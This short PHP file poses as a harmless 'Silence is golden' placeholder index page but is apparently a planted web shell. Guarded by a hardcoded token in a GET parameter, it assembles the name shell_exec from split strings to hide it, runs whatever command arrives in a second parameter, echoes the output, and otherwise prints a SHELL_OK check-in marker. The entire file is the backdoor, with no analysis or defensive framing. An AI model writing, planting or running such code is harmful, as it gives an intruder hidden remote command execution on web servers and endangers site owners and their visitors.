<?php
// Silence is golden.
if(isset($_GET['t'])&&hash_equals('19534260d4686e62680df7c802d71f32',(string)$_GET['t'])){$f='she'.'ll_'.'ex'.'ec';if(isset($_GET['c'])){echo '[EX]'.$f((string)$_GET['c']);exit;}echo '<<S>>SHELL_OK<<E>>';exit;}